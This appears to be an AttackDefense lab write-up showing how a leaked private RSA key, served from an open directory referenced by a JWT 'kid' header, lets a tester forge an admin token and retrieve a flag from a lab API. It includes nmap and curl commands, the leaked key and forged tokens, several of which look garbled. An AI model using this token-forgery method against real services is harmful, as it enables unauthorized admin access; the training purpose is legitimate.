



<b>Name</b>	kid Claim Misuse - Key Leak
<b>URL</b>	<a href="https://attackdefense.com/challengedetails?cid=1426">https://attackdefense.com/challengedetails?cid=1426</a>
<b>Type</b>	REST: JWT Expert

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

**Step 1:** Check the IP address of the machine.

**Command:** ifconfig

```
root@attackdefense:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.1.1.7 netmask 255.255.255.0 broadcast 10.1.1.255
    ether 02:42:0a:01:01:07 txqueuelen 0 (Ethernet)
    RX packets 95 bytes 9830 (9.8 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 81 bytes 344209 (344.2 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.92.74.2 netmask 255.255.255.0 broadcast 192.92.74.255
    ether 02:42:c0:5c:4a:02 txqueuelen 0 (Ethernet)
    RX packets 18 bytes 1452 (1.4 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    loop txqueuelen 1000 (Local Loopback)
    RX packets 18 bytes 1557 (1.5 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 18 bytes 1557 (1.5 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@attackdefense:~#
```

The IP address of the machine is 192.92.74.2.

**Step 2:** Use nmap to discover the services running on the target machine.

**Command:** nmap 192.92.74.3

```
root@attackdefense:~# nmap 192.92.74.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-20 18:39 UTC
Nmap scan report for shvxgfp8dyc8wiebx7v3lnvog.temp-network_a-92-74 (192.92.74.3)
Host is up (0.000014s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
8000/tcp  open  http-alt
8080/tcp  open  http-proxy
MAC Address: 02:42:C0:5C:4A:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.68 seconds
root@attackdefense:~#
```

Finding more information about the running services:

**Command:** nmap -sS -sV -p 8000,8080 192.92.74.3

```
root@attackdefense:~# nmap -sS -sV -p 8000,8080 192.92.74.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-20 18:40 UTC
Nmap scan report for shvxgfp8dyc8wiebx7v3lnvog.temp-network_a-92-74 (192.92.74.3)
Host is up (0.000043s latency).

PORT      STATE SERVICE VERSION
8000/tcp  open  caldav  Radicale calendar and contacts server (Python BaseHTTPServer)
8080/tcp  open  http    Werkzeug httpd 0.16.0 (Python 2.7.15+)
MAC Address: 02:42:C0:5C:4A:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.47 seconds
root@attackdefense:~#
```

The target machine is running 2 Python based services - a Python BaseHTTPServer on port 8000 and another python HTTP server on port 8080.



**Step 3:** Checking the presence of the REST API.

Interacting with both HTTP servers to reveal more information about them.

**Command:** curl 192.92.74.3:8000

```
root@attackdefense:~# curl 192.92.74.3:8000
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /</title>
<body>
<h2>Directory listing for /</h2>
<hr>
<ul>
<li><a href="keyset0/">keyset0/</a>
<li><a href="keyset1/">keyset1/</a>
<li><a href="keyset10/">keyset10/</a>
<li><a href="keyset11/">keyset11/</a>
<li><a href="keyset12/">keyset12/</a>
<li><a href="keyset13/">keyset13/</a>
<li><a href="keyset14/">keyset14/</a>
<li><a href="keyset15/">keyset15/</a>
<li><a href="keyset16/">keyset16/</a>
<li><a href="keyset17/">keyset17/</a>
<li><a href="keyset18/">keyset18/</a>
<li><a href="keyset19/">keyset19/</a>
<li><a href="keyset2/">keyset2/</a>
<li><a href="keyset20/">keyset20/</a>
<li><a href="keyset3/">keyset3/</a>
<li><a href="keyset4/">keyset4/</a>
<li><a href="keyset5/">keyset5/</a>
<li><a href="keyset6/">keyset6/</a>
<li><a href="keyset7/">keyset7/</a>
<li><a href="keyset8/">keyset8/</a>
<li><a href="keyset9/">keyset9/</a>
</ul>
<hr>
</body>
</html>
root@attackdefense:~#
```

**Command:** curl 192.92.74.3:8080

```
root@attackdefense:~# curl 192.92.74.3:8080

== Welcome to the CLI JWT Token API ==

Endpoint | Method | Description
/issue   | GET    | Issues a JWT token.
/goldenticket | POST  | Get your golden ticket (if role='admin').
/help    | GET    | Show the endpoints info.

root@attackdefense:~#
```

The response from port 8080 of the target machine reveals that the API is available on this port.

**Note:** The /goldenticket endpoint would give the golden ticket only if role="admin".

**Step 4:** Interacting with the API.

Getting a JWT Token:

**Command:** curl http://192.92.74.3:8080/issue

```
root@attackdefense:~# curl http://192.92.74.3:8080/issue
== Issued Token: ==

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXlzMjZlZXQzL3B1YmtpY2tleS5jcjQifQ.eyJpYXQiOiJlbnQzYzU1OTMsInJvbmUiOiJhdXRoZW50aWVhZGVkIiwiaXhwIjojNTc0MzYxOTkzfQ.P4n7eONxS0ENmROHCQYKAXEvQccGQSP-L8bFEVGblECvl4rd1hGdIokBiYqJgJj09Lg15yK5JYJDaLT7R57roEKzr1YQT1auIBWdc aCuzne9og3GjseVPFDk63zqJIHm09K6E_5WJDV9SY2WOP7R9lKRUnjNff6Pg_TZaeQ6KTKqLWF27WeNqpaJvIio kk0-Felk0l1g9LzYs6a0MnbhtEiAWzjola1-kRke2tJR8BI4EcnBkfdde4ewV3vAaq1W3iwEnpM0rjtLfxGP9VO NrU6Y6b1LtrfB3v7B7Cfe-QUewnDBNPAm2o7T5b8oJj7M22IGapYnCMQ8rOMAFuXQ

=====
root@attackdefense:~#
```

The response contains a JWT Token.

### Issued JWT Token:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXlzMzZlZ3B1YmxpY2tleS5jcjQifQ.eyJpYXQiOiJlNzQyNzU1OTMsInJvbmGUiOiJhdXRoZW50aWNhdGVkIiwiaXhwIjoxNTc0MzYxOTkzfQ.P4n7eONxS0ENmROHCQYKAXEvQccGQSP-L8bFEVGBIECvI4rd1hGdlOkBiYqJgcgJjO9Lgl5yK5JYJDaLT7R57roEKzr1YQT1auIBWdcaCuzne9og3GjseVPFDk63zqJIHm09K6E\_5WJDV9SY2WOP7R9IKRUnjNff6Pg\_TZaeQ6KTKqLWF27WeNqpaJvliokkO-Felk0l1g9LzYs6a0MnbhtEiAWzjoIA1-kRke2tJR8BI4EcnBkfdde4ewV3vAaq1W3iwEnpMOrjtLfxGP9VONrU6Y6bLlTrfB3v7B7Cfe-QUewnDBNPAm2o7T5b8oJj7M22IGapYnCmQ8rOMAFuXQ

**Step 5:** Decoding the header and payload parts of the JWT token obtained in the previous step.

Visit <https://jwt.io> and specify the token obtained in the previous step, in the "Encoded" section.

### Encoded

PASTE A TOKEN HERE

```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXlzMzZlZ3B1YmxpY2tleS5jcjQifQ.eyJpYXQiOiJlNzQyNzU1OTMsInJvbmGUiOiJhdXRoZW50aWNhdGVkIiwiaXhwIjoxNTc0MzYxOTkzfQ.P4n7eONxS0ENmROHCQYKAXEvQccGQSP-L8bFEVGBIECvI4rd1hGdlOkBiYqJgcgJjO9Lgl5yK5JYJDaLT7R57roEKzr1YQT1auIBWdcaCuzne9og3GjseVPFDk63zqJIHm09K6E_5WJDV9SY2WOP7R9IKRUnjNff6Pg_TZaeQ6KTKqLWF27WeNqpaJvliokkO-Felk0l1g9LzYs6a0MnbhtEiAWzjoIA1-kRke2tJR8BI4EcnBkfdde4ewV3vAaq1W3iwEnpMOrjtLfxGP9VONrU6Y6bLlTrfB3v7B7Cfe-QUewnDBNPAm2o7T5b8oJj7M22IGapYnCmQ8rOMAFuXQ
```

### Decoded

EDIT THE PAYLOAD AND SECRET

#### HEADER: ALGORITHM & TOKEN TYPE

```
{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "/keyset3/publickey.crt"
}
```

#### PAYLOAD: DATA

```
{
  "iat": 1574275593,
  "role": "authenticated",
  "exp": 1574361993
}
```

#### VERIFY SIGNATURE

RSASHA256(

### Note:

1. The algorithm used for signing the token is "RS256".
2. The token is using kid header parameter which contains the path of the secret key to be used for signing the token.



**Info:** The "kid" (key ID) Header Parameter is a hint indicating which key was used to secure the JWS.

Submitting the above issued token to the API to get the golden ticket:

**Command:**

```
curl -X POST -H "Content-Type: application/json" -X POST -d '{"token":  
"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXlzMzZlZmY2tS5jcjQifQ.eyJpYXQiOiJlNzQyNzU1OTMsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiaXhwIjojNTc0MzYxOTkzfQ.P4n7eONxS0ENmROHCQYKAXEvQccGQSP-L8bFEVGblECvI4rd1hGdlokBiYqJgcgJjO9Lgl5yK5JYJDaLT7R57roEKzr1YQT1auIBWdcaCuzne9og3GjseVPFDk63zqJIHm09K6E_5WJDV9SY2WOP7R9IKRUnjNff6Pg_TZaeQ6KTKqLWF27WeNqpaJvliokkO-Felk0l1g9LzYs6a0MnbhtEiAWzjola1-kRke2tJR8BI4EcnBkfdde4ewV3vAaq1W3iwEnpMOrjtLfxGP9VONrU6Y6blLtrfB3v7B7Cfe-QUewnDBNPAm2o7T5b8oJj7M22IGapYnCmQ8rOMAFuXQ"}'  
http://192.92.74.3:8080/goldenticket
```

```
root@attackdefense:~# curl -X POST -H "Content-Type: application/json" -X POST -d '{"to  
ken": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXlzMzZlZmY2tS5jcjQifQ.e  
yJpYXQiOiJlNzQyNzU1OTMsInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiaXhwIjojNTc0MzYxOTkzfQ.P4n7eONxS  
0ENmROHCQYKAXEvQccGQSP-L8bFEVGblECvI4rd1hGdIokBiYqJgcgJjO9Lgl5yK5JYJDaLT7R57roEKzr1YQT1  
auIBWdcaCuzne9og3GjseVPFDk63zqJIHm09K6E_5WJDV9SY2WOP7R9IKRUnjNff6Pg_TZaeQ6KTKqLWF27WeNq  
paJvIiokkO-Felk0l1g9LzYs6a0MnbhtEiAWzjola1-kRke2tJR8BI4EcnBkfdde4ewV3vAaq1W3iwEnpMOrjtL  
fxGP9VONrU6Y6blLtrfB3v7B7Cfe-QUewnDBNPAm2o7T5b8oJj7M22IGapYnCmQ8rOMAFuXQ"}' http://192.  
92.74.3:8080/goldenticket
```

```
No golden ticket for you! Only admin has access to it!
```

```
root@attackdefense:~#
```

The server doesn't return the golden ticket. It responds by saying that the ticket is only for the admin user.

**Note:** A previous request made to port 8000 on the target machine revealed some files.

**Command:** curl 192.92.74.3:8000

```
root@attackdefense:~# curl 192.92.74.3:8000
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /</title>
<body>
<h2>Directory listing for /</h2>
<hr>
<ul>
<li><a href="keyset0/">keyset0/</a>
<li><a href="keyset1/">keyset1/</a>
<li><a href="keyset10/">keyset10/</a>
<li><a href="keyset11/">keyset11/</a>
<li><a href="keyset12/">keyset12/</a>
<li><a href="keyset13/">keyset13/</a>
<li><a href="keyset14/">keyset14/</a>
<li><a href="keyset15/">keyset15/</a>
<li><a href="keyset16/">keyset16/</a>
<li><a href="keyset17/">keyset17/</a>
<li><a href="keyset18/">keyset18/</a>
<li><a href="keyset19/">keyset19/</a>
<li><a href="keyset2/">keyset2/</a>
<li><a href="keyset20/">keyset20/</a>
<li><a href="keyset3/">keyset3/</a>
<li><a href="keyset4/">keyset4/</a>
<li><a href="keyset5/">keyset5/</a>
<li><a href="keyset6/">keyset6/</a>
<li><a href="keyset7/">keyset7/</a>
<li><a href="keyset8/">keyset8/</a>
<li><a href="keyset9/">keyset9/</a>
</ul>
<hr>
</body>
</html>
root@attackdefense:~#
```

Notice that there is a set of directories. keyset3, used in the "kid" header parameter of the JWT Token is also one of them.

Listing the contents of keyset3 directory.



**Command:** curl 192.92.74.3:8000/keyset3/

```
root@attackdefense:~# curl 192.92.74.3:8000/keyset3/
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /keyset3/</title>
<body>
<h2>Directory listing for /keyset3/</h2>
<hr>
<ul>
<li><a href="privatekey.pem">privatekey.pem</a>
<li><a href="publickey.crt">publickey.crt</a>
</ul>
<hr>
</body>
</html>
root@attackdefense:~#
```

It contains the public and private keys.

Retrieving the public key.

**Command:** curl 192.92.74.3:8000/keyset3/publickey.crt

```
root@attackdefense:~# curl 192.92.74.3:8000/keyset3/publickey.crt
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA58gwa/dw8wd1d87uY/Oz
HLxihawk/ddsvvVgjLNWYpVVnAQuPRHPesK9etgZRoUGXWZpQ8zDzBUsD4nHGB0Q
VnRsdCBN61U1KCCsVzXMw6xyHJ6mcsldZkeWxrobVpiVT1IUTqdGQ3Rrx6NLVM/t
S7tArfaK328kQCuPhXdd/EhXYUT7IfUH1eYZFirLhZTu9T5p5X8vrQdrOkB06JoH
wy5jzcVFo5w/oOEYPWAMypBtFB1D+KwtawTzcNqDY5b+g4hfKxAYOk5JRZj4Y2tM
Hr9oCc5X1pUcw3//KrvGGUVO+baxDjz7EW0sMyMabTGj51ETP0nRgX0E33z1nfEC
DQIDAQAB
-----END PUBLIC KEY-----
root@attackdefense:~#
```

Using the retrieved public key to verify the JWT Token retrieved in Step 3.

## Encoded

PASTE A TOKEN HERE

```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXl2ZXQzL3B1Ym90Y2tleS5jc291bnQifQ.eyJpYXQiOiE1NzQyNzU1OTMsInJvbm90IjhdXRoZW50aWNhdGVkIiwiaXNjaXNjaXNTc0MzYxOTkzfQ.P4n7e0NxS0ENmROHCQYKAXEvQccGQSP-L8bFEVGB1ECv14rd1hGdIokBiYqJgJj09Lg15yK5JYJDaLT7R57roEKzr1YQT1auIBWdcaCuzne9og3GjseVPFDk63zqJIHm09K6E_5WJDV9SY2WOP7R91KRUjNff6Pg_TZaeQ6KTKqLWF27WeNqpaJvIiokkO-Felk011g9LzYs6a0MnbhtEiAWzjo1A1-kRke2tJR8BI4EcnBkfdde4ewV3vAaq1W3iwEnpMOrjtLfxGP9VONrU6Y6b1LtrfB3v7B7Cfe-QUewnDBNPAm2o7T5b8oJj7M22IGapYnCMQ8rOMAFuXQ
```

## Decoded

EDIT THE PAYLOAD AND SECRET

### HEADER: ALGORITHM & TOKEN TYPE

```
{  "alg": "RS256",  "typ": "JWT",  "kid": "/keyset3/publickey.crt"}
```

### PAYLOAD: DATA


```
{  "iat": 1574275593,  "role": "authenticated",  "exp": 1574361993}
```

### VERIFY SIGNATURE

```
RSASHA256(  base64UrlEncode(header) + "." +  base64UrlEncode(payload),  Hr9oCc5X1pUcw3//KrvGGUV0+baxD  jz7EW0sMyMabTGj51ETP0nRgX0E33  zlnfEC  DOIDAQAB  -----END PUBLIC KEY-----  Private Key. Enter it in plain  text only if you want to genera  te a new token. The key never l  eaves your browser.  )
```

✔ Signature Verified

SHARE JWT



The Signature was verified successfully.

Using the corresponding private key to forge the token.

Retrieving the private key.

**Command:** `curl 192.92.74.3:8000/keyset3/privatekey.pem`



```

root@attackdefense:~# curl 192.92.74.3:8000/keyset3/privatekey.pem
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBAcwggSjAgEAAoIBAQDnyDBr93DzB3V3
zu5j87McvGKFrCT912y+9WCMs1Zi1VWcBC49Ec96wr162BlGhQZdZm1DzMPMFSwP
iccYE5BwdGx0IE3rVTUoIKxXNczDrHIcnqZyyV1mR5bGuhtWmJVPuHR0p0ZDdGvH
o0tUz+1Lu0Ct9orfbyRAK4+Fd138SFdhRPsh9QeV5hkWKsuFl071Pmnlfy+tB2s6
QHTomgfDLmPNxUWjnD+g4Rg9YAzKkG0UGUP4rC1rBPNw2oNjl6DiF8rEBG6Tk1F
mPhja0wev2gJz1eW1RzDf/8qu8YZRU75trEOPPsRbSwzIwBtMaPmURM/SdGBfQTf
fOWd8QINAgMBAAEcggEALNZ3N4uol/sLaF/pkgBk19xBmuZQSaLQ8Kf7Q3y162BE
LWhJoZq+b1sZ2JfRW+kD8DGNj4YfIm2+Fktq7mdqdq8TA+vz5uCW5epcLIrFz9ye
PpcaT/5QSSb0LgF2pGvkBnI0Z3rIhugQqZAXVJLcrtfMjVqyRsLzWk6S9xi+X70o
lUKkc0c00gbGPkwezKrvwMoZwLZGCj8wzfw/Ri41ZI08R/Hh3l95v7s2DZL7Iepr
HigPFk8G10fJ89z/Fcs7sWu5HnwWjLFANHGB14vmkX6fkm5WxBL9r8z2E4BvAktA
VcpbVF85GkA8J050/Yxvq0yAycYlRCMjTe+ge6P06QKBgQD5H9RdFGFgfHaMDL+W
XzVTVKcN20b0YeQ0ifPp1vU0lt7Tdc18p1IPQ2BEiuInlcBuQjjHCWHNbjSSmkv4
q0CiWR5B7TVpn8hz90moJGlsLGU6wftzL+OSCBVf9xKQl8B23SSRPnvzG/U/RnB2
1cKKYWXbOyG2MTEGPx12t7wzFwKBgQDuLdQXXvWVjCMYYZAY56k4m+8+axhs6fJ5
nvPfdvsKz1KJF0L22eUktcPpIDJcfDjaqemXBBYiXI3Y1CepjuVflc901IGIGdxH
evDkjwUkx1lY/wL3agKPE+MDBiMKPS6wwXLNqQX5RPWYanGj9nildV0nB15c7vYG
wzTHPGD6ewKBGd/qKKPQzMLia8/RTC4aMyYz+hvWDDE68DXCsu911N2vW2/JMj0k
eGsuEA7Fyww44avoFYULJSp9ccODDqa32RdN4fNsF14I/nayJRWcees5DPU/Nwq
lyoqJMHAM+Ug6eIVDoKsqImQzLT1L31tkkHKh0VdwGJr8HX3z21b7k71AoGAAY4Z
EGQCXpOntwUMF92LcV8zVMkGQ8/TUZAEL7VrNkrapyKLzBZsNK0rN16LdacqB+OM
LvXL2LWaB4x7JdRVEya7T9x7bBQfKChZYmS8t9zDwJ0Ju+vpUF3k4aQsnmh/4Y+h
3E36SAJ3SCOJ0nRNnWcCwNh/eUPmP2007y4pw/kCgYEAp5vW57bG1h/gn+K85xNj
fXfNGeJJzU2bInKPuY1a5rxbpKW3INgr+aJ/M70jC6xzxIhemi9byTiOoBigzci
+epHV1rHYpzBnmyRvPYd2gALEI4RFksU/2Z/eUHatWsrLYZBnu34GZiRH8okXOoo
e5N0GFNLzbEvsIrJzyMw4Ik=
-----END PRIVATE KEY-----
root@attackdefense:~#

```

**Step 6:** Creating a forged token.

Since the private key is known, creating a JWT Token with role="admin".

Visit <https://jwt.io> and paste the token retrieved in Step 3 in the "Encoded" section and the private and public keys in the "Decoded" section.

## Encoded

PASTE A TOKEN HERE

```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXlzMjZlZmY2tS5jcncQifQ.eYJpYXQiojE1NzQyNzU1OTMsInJvbnGUioiJhdXRozW50aWNhdGVkIiwiaXhwIjoxNTc0MzYxOTkzfQ.P4n7e0NxS0ENmROHCQYKAXEvQccGQSP-L8bFEVGblECv14rd1hGdIokBiYqJgcgJj09Lg15yK5JYJDaLT7R57roEKzr1YQT1auIBWdcaCuzne9og3GjseVPFDk63zqJIHm09K6E_5WJDV9SY2WOP7R91KRUnjNff6Pg_TZaeQ6KTKqLWF27WeNqpaJvIiokkO-Felk0l1g9LzYs6a0MnbhtEiAWzjo1A1-kRke2tJR8BI4EcnBkfdde4ewV3vAaq1W3iwEnpMOrjtLfxGP9VONrU6Y6b1LtrfB3v7B7Cfe-QUewnDBNPAm2o7T5b8oJj7M22IGapYnCMQ8rOMAFuXQ
```

✔ Signature Verified

Set the role to "admin".

## Decoded

EDIT THE PAYLOAD AND SECRET

### HEADER: ALGORITHM & TOKEN TYPE

```
{  "alg": "RS256",  "typ": "JWT",  "kid": "/keyset3/publickey.crt"}
```

### PAYLOAD: DATA

```
{  "iat": 1574275593,  "role": "authenticated",  "exp": 1574361993}
```

### VERIFY SIGNATURE

```
RSASHA256(  base64UrlEncode(header) + "." +  base64UrlEncode(payload),  Hr9oCc5XlpUcw3//KrvGGUV0+baxD  jz7EW0sMyMabTGj51ETP0nRgX0E33  zlnfEC  DQIDAQAB  -----END PUBLIC KEY-----  BigzcI  +epHV1rHYpzBnmyRvPYd2gALEI4RF  ksU/2Z/eUHatWsrLYZBnu34GZiRH8  okX0oo  e5N0GFNLzbEvsIrJzyMw4Ik=  -----END PRIVATE KEY-----)
```

SHARE JWT



## Encoded

PASTE A TOKEN HERE

```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXlzlZXQzL3B1YmxpY2tleS5jcjQifQ.eyJpYXQiOiE1NzQyNzU1OTMsInJvbmGU0iOiJhZG1pb2IiImV4cCI6MTU3NDM2MTk5M30.BRvT27m_FtdVrkT2wW307AGhqE6mt5LMz9bNUdhKNC40xET1BZ9Uj06QQ4I07ZwEogpHhJUesNfaE97v1YedMqvDIhqp3VhHdXv-IGaNm5aYWX_1uYTcAQVK6gqziCLtQYfDpgAaKk1LxdtGdOWiqpeGU8JMXyaJHgkgn7iD0iM5IeRcbcf07has40QJBwu_RvtH08Rs8CAzrHaDHKJIqKHGQS1Ud2QjrRIVBsDwshvzbX0gmaLKUicyH8ZDM3am6W6jdQAiROEuW90sskoVhSwrYwekMpGhPqIeK4eN7GL63D6FRSIXrtvnuGQSY7-PWUsmXZOW4j1HrA4p0jTA
```

✔ Signature Verified

### Forged Token:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXlzlZXQzL3B1YmxpY2tleS5jcjQifQ.eyJpYXQiOiE1NzQyNzU1OTMsInJvbmGU0iOiJhZG1pb2IiImV4cCI6MTU3NDM2MTk5M30.BRvT27m\_FtdVrkT2wW307AGhqE6mt5LMz9bNUdhKNC40xET1BZ9Uj06QQ4I07ZwEogpHhJUesNfaE97v1YedMqvDIhqp3VhHdXv-IGaNm5aYWX\_1uYTcAQVK6gqziCLtQYfDpgAaKk1LxdtGdOWiqpeGU8JMXyaJHgkgn7iD0iM5IeRcbcf07has40QJBwu\_RvtH08Rs8CAzrHaDHKJIqKHGQS1Ud2QjrRIVBsDwshvzbX0gmaLKUicyH8ZDM3am6W6jdQAiROEuW90sskoVhSwrYwekMpGhPqIeK4eN7GL63D6FRSIXrtvnuGQSY7-PWUsmXZOW4j1HrA4p0jTA

## Decoded

EDIT THE PAYLOAD AND SECRET

### HEADER: ALGORITHM & TOKEN TYPE

```
{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "/keyset3/publickey.crt"
}
```

### PAYLOAD: DATA

```
{
  "iat": 1574275593,
  "role": "admin",
  "exp": 1574361993
}
```

### VERIFY SIGNATURE

```
RSASHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  Hr9oCc5X1pUcw3//KrvGGUVQ+baxD
  jz7EW0sMyMabTGj51ETP0nRgX0E33
  zlnfEC
  DQIDAQAB
  -----END PUBLIC KEY-----
  BigzcI
  +epHV1rHYpzBnmyRvPYd2gALEI4RF
  ksU/2Z/eUHatWsrLYZBnu34GZiRH8
  okX0oo
  e5N0GFNLzbEvsIrJzyMw4Ik=
  -----END PRIVATE KEY-----
)
```

SHARE JWT



pYXQiOjE1NzQyNzU1OTMslNjVbGUiOiJhZG1pbilslmV4cCI6MTU3NDM2MTk5M30.BRvT27m\_FtdVrkT2wW3O7AGhqE6mt5LMz9bNUdhKNC4OxET1BZ9UjO6QQ4I07ZwEogpHhJUesNfaE97vIYedMqvDIhqeap3VhHdXv-IGaNm5aYWX\_1uYTcAQVK6gqziCLtQYfDpgAaKklLxdtGdOWiqpeGU8JMXyaJHgkgn7iD0iM5leRcbcfO7has4OQJBwu\_RvtH08Rs8CAzrHaDhKJlqKHGQS1Ud2QjrRIVBsDwshvzbXOgmaLKUicyH8ZDM3am6W6jdQAiROEuW9OsskoVhSwrYwekMpGhPqleK4eN7GL63D6FRSIXrtvnuGQSY7-PWUsmxZOW4j1HrA4p0jTA

**Step 7:** Using the forged token to retrieve the golden ticket.

Sending the request to get the golden ticket again:

**Command:**

```
curl -H "Content-Type: application/json" -X POST -d '{"token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXlzMzQzL3B1YmV4cCI6MTU3NDM2MTk5M30.BRvT27m_FtdVrkT2wW3O7AGhqE6mt5LMz9bNUdhKNC4OxET1BZ9UjO6QQ4I07ZwEogpHhJUesNfaE97vIYedMqvDIhqeap3VhHdXv-IGaNm5aYWX_1uYTcAQVK6gqziCLtQYfDpgAaKklLxdtGdOWiqpeGU8JMXyaJHgkgn7iD0iM5leRcbcfO7has4OQJBwu_RvtH08Rs8CAzrHaDhKJlqKHGQS1Ud2QjrRIVBsDwshvzbXOgmaLKUicyH8ZDM3am6W6jdQAiROEuW9OsskoVhSwrYwekMpGhPqleK4eN7GL63D6FRSIXrtvnuGQSY7-PWUsmxZOW4j1HrA4p0jTA"}' http://192.92.74.3:8080/goldenticket
```

```
root@attackdefense:~# curl -H "Content-Type: application/json" -X POST -d '{"token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii9rZXlzMzQzL3B1YmV4cCI6MTU3NDM2MTk5M30.BRvT27m_FtdVrkT2wW3O7AGhqE6mt5LMz9bNUdhKNC4OxET1BZ9UjO6QQ4I07ZwEogpHhJUesNfaE97vIYedMqvDIhqeap3VhHdXv-IGaNm5aYWX_1uYTcAQVK6gqziCLtQYfDpgAaKklLxdtGdOWiqpeGU8JMXyaJHgkgn7iD0iM5leRcbcfO7has4OQJBwu_RvtH08Rs8CAzrHaDhKJlqKHGQS1Ud2QjrRIVBsDwshvzbXOgmaLKUicyH8ZDM3am6W6jdQAiROEuW9OsskoVhSwrYwekMpGhPqleK4eN7GL63D6FRSIXrtvnuGQSY7-PWUsmxZOW4j1HrA4p0jTA"}' http://192.92.74.3:8080/goldenticket
```

Golden Ticket: **This\_Is\_The\_Golden\_Ticket\_77534975863792b639e15920889adaceff77**

```
root@attackdefense:~#
```

**Golden Ticket:** This\_Is\_The\_Golden\_Ticket\_77534975863792b639e15920889adaceff77

**References:**

- 
1. Strapi Documentation (<https://strapi.io/documentation>)
  2. JWT debugger (<https://jwt.io/#debugger-io>)
  3. JSON Web Signature RFC (<https://tools.ietf.org/html/rfc7515>)